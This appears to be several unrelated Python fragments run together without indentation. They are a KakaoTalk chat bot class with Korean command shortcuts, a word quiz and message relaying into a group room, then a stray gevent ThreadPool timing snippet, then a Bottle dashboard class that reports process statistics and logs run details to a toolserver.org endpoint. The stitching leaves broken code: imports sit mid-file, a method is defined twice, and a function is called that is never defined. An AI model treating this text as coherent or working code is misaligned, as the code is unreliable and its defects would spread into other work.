self.add_command(111740297355267,
KeywordRemoveCommand("ㅋㅅ", self._keyword))
self.add_command(111740297355267, CoinCommand("ㅂㅌ",
self._coinanalyzer))
# help must be added at the last
self.add_command(
111740297355267,
HelpCommand("?", self._commands.get(111740297355267, {})))
# 개인톡
# 그 외
self.add_command(
0, WordquizProduceCommand("ㅈㅋ", self._wordquiz, 111740297355267))
self.add_command(
0, WordquizCancelCommand("ㅋㅊ", self._wordquiz, 111740297355267))
self.add_command(
0, WordquizHintCommand("ㅎㅌ", self._wordquiz, 111740297355267))
self.add_command(0, MafiaSingleChatCommand("ㅁㅍㅇ", self._mafiagame))
# help must be added at the last
self.add_command(0, HelpCommand("?", self._commands.get(0, {})))
self._bot_timer = gevent.spawn(self._do_timer)
def _init_db(self, cur):
cur.execute("""CREATE TABLE IF NOT EXISTS pickled
(id SERIAL PRIMARY KEY NOT NULL,
type VARCHAR(12) NOT NULL,
data TEXT);""")
self._pgconn.commit()
def _do_timer(self):
while True:
gevent.sleep(60)
self.save()
def shutdown(self):
self._bot_timer.kill()
self.save()
self._pgconn.close()
def save(self):
with self._pgconn.cursor() as cursor:
Variable.save(cursor, self._variable.var())
Wordquiz.save(cursor, self._wordquiz)
Dday.save(cursor, self._dday.dday())
Keyword.save(cursor, self._keyword.keyword())
self._pgconn.commit()
def on_connect(self, sess):
sess.send_text("{0} v{1} 구동".format(self._name, self._version),
111740297355267)
sess.send_chat_on_room(111740297355267)
def on_shutdown(self, sess):
sess.send_text("{0} v{1} 종료".format(self._name, self._version),
111740297355267)
def on_msg(self, sess, msg):
self.process_command(sess, msg)
author_nick = msg.author()
msg = msg.chat_log()
message = msg.message()
chat_id = msg.chat_id()
author = msg.author_id()
# none commands
if chat_id == 111740297355267:
for key, word in self._keyword.keyword().iteritems():
if key in message:
word = word.replace("#sender#", author_nick)
sess.send_text(word, chat_id)
quiz = self._wordquiz
if quiz.playing():
if quiz.try_answer(message, author):
sess.send_text("정답! {0}님 1점 획득".format(author_nick),
chat_id)
quiz.new_game()
else:
msg_type = msg.type()
if msg_type == 1:
if not message.startswith("/"):
sess.send_text(message, 111740297355267)
# emoticon
elif msg_type == 12 or msg_type == 20:
try:
emot = json.loads(msg.attachment())
path = emot["path"]
name = emot["name"]
width = emot["width"]
height = emot["height"]
sess.send_emoticon(message,
111740297355267,
msg_type,
path=path,
name=name,
width=width,
height=height)
except Exception as e:
print e
# picture
elif msg_type == 2:
try:
pic = json.loads(msg.attachment())
url = pic["url"]
w = pic["w"]
h = pic["h"]
s = pic["s"]
mt = pic["mt"]
sess.send_picture(message,
111740297355267,
mt=mt,
width=w,
height=h,
path=url.replace(
"http://dn-m.talk.kakao.com", ""),
localFilePath="/tmp/",
s=s,
type="image/jpeg")
except Exception as e:
print str(e)
def test(self):
pool = ThreadPool(1)
pool.spawn(func)
gevent.sleep(0)
pool.kill()
import time
import gevent
from gevent.threadpool import ThreadPool
pool = ThreadPool(3)
start = time.time()
for _ in range(4):
pool.spawn(time.sleep, 1)
gevent.wait()
delay = time.time() - start
print('Running "time.sleep(1)" 4 times with 3 threads. Should take about 2 seconds: %.3fs' % delay)
class LoupeDashboard(Bottle):
def __init__(self, louper, *args, **kwargs):
super(LoupeDashboard, self).__init__(*args, **kwargs)
self.loupe_pool = louper.loupe_pool
self.total_loupes = louper.total_count
self.results = louper.results
self.inputs = louper.input_classes
self.failed_stats = louper.failed_stats
self.fetch_failures = louper.fetch_failures
self.start_time = time.time()
self.tpool = None
self.start_time = kwargs.get("start_time") or time.time()
self.start_cmd = kwargs.get("start_cmd") or " ".join(sys.argv)
self.host_machine = kwargs.get("hostname") or socket.gethostname()
self.open_toolserver_queries = self.get_toolserver_openlog()
if self.open_toolserver_queries > 0:
print "\nNote: there are", self.open_toolserver_queries, "open queries on toolserver\n"
self.send_toolserver_log("start", start_time=self.start_time)
self.toolserver_uptime = self.get_toolserver_uptime()
self.route("/", callback=self.render_dashboard, template="dashboard")
self.route("/summary", callback=self.get_summary_dict, template="summary")
self.route("/all_results", callback=self.get_all_results)
self.route("/static/<filepath:path>", callback=self.serve_static)
self.uninstall(JSONPlugin)
self.install(JSONPlugin(better_dumps))
self.install(TemplatePlugin())
self.sys_peaks = defaultdict(float)
def run(self, **kwargs):
if self.tpool is None:
self.tpool = ThreadPool(2)
kwargs["host"] = kwargs.get("host", DEFAULT_HOST)
pref_port = kwargs.get("port", DEFAULT_PORT)
port = find_port(kwargs["host"], pref_port)
if port is None:
raise Exception("Could not find suitable port to run LoupeDashboard server.")
else:
kwargs["port"] = port
kwargs["server"] = kwargs.get("server", DEFAULT_SERVER)
self.tpool.spawn(run, self, **kwargs)
def get_summary_dict(self, with_meta=True):
cur_time = time.time()
success_count = len([o for o in self.results.values() if o.get("is_successful")])
failure_count = len(self.results) - success_count
in_prog_times = dict([(o.title, cur_time - o.times["create"]) for o in self.loupe_pool])
ret = {
"in_progress_count": len(self.loupe_pool),
"in_progress": in_prog_times,
"complete_count": len(self.results),
"success_count": success_count,
"failure_count": failure_count,
"total_articles": self.total_loupes,
}
if with_meta:
ret["meta"] = self.get_meta_dict()
return ret
def get_meta_dict(self):
return {
"start_time": time.strftime("%d %b %Y %H:%M:%S UTC", time.gmtime(self.start_time)),
"duration": time.time() - self.start_time,
"start_cmd": self.start_cmd,
"host_machine": self.host_machine,
}
def get_sys_stats(self):
p = psutil.Process(os.getpid())
connection_status = defaultdict(int)
for connection in p.get_connections():
connection_status[connection.status] += 1
connection_status["total"] += 1
ret = {
"mem_info": p.get_memory_info().rss,
"mem_pct": p.get_memory_percent(),
"num_fds": p.get_num_fds(),
"connections": connection_status,
"no_connections": connection_status["total"],
"cpu_pct": p.get_cpu_percent(interval=0.01),
}
for (key, value) in ret.iteritems():
if key is not "connections" and value > self.sys_peaks[key]:
self.sys_peaks[key] = value
return ret
def get_dict(self):
ret = {}
ret["summary"] = self.get_summary_dict(with_meta=False)
ret["sys"] = self.get_sys_stats()
ret["sys_peaks"] = self.sys_peaks
ret["input_classes"] = [i.__name__ for i in self.inputs]
ret["in_progress"] = [o.get_status() for o in self.loupe_pool]
ret["complete"] = [o.get("status") for o in self.results.values()]
ret["toolserver"] = self.toolserver_uptime
ret["meta"] = self.get_meta_dict()
ret["failed_stats"] = self.failed_stats
ret["fetch_failures"] = self.fetch_failures
return ret
def get_all_results(self):
ret = {}
ret["results"] = self.results
return ret
def get_report(self):
return template("dashboard", self.render_dashboard(final=True))
def get_toolserver_uptime(self):
res = {}
try:
res = wapiti.get_json("http://toolserver.org/~slaporte/rs/uptime")
res["open_queries"] = self.open_toolserver_queries
except Exception as e:
print "Error getting toolserver stats:", e
return res
def get_toolserver_openlog(self):
res = {}
try:
res = wapiti.get_json("http://toolserver.org/~slaporte/rs/openlog")
except Exception as e:
print "Error getting toolserver stats:", e
return res.get("openlog", 0)
def send_toolserver_log(self, action, start_time=0):
params = {"action": action, "hostname": self.host_machine, "params": self.start_cmd, "start_time": start_time}
try:
wapiti.get_url("http://toolserver.org/~slaporte/rs/writelog/", params=params)
except Exception as e:
print "Error logging:", e
def render_dashboard(self, final=False):
ret = self.get_dict()
if final:
ret["toolserver_final"] = self.get_toolserver_uptime()
self.send_toolserver_log("complete", start_time=self.start_time)
else:
ret["toolserver_final"] = False
return ret
def get_report(self):
return template("dashboard", self.render_dashboard())
def serve_static(self, filepath):
from os.path import dirname
asset_dir = dirname(__file__) + "/assets"
return static_file(filepath, root=asset_dir)
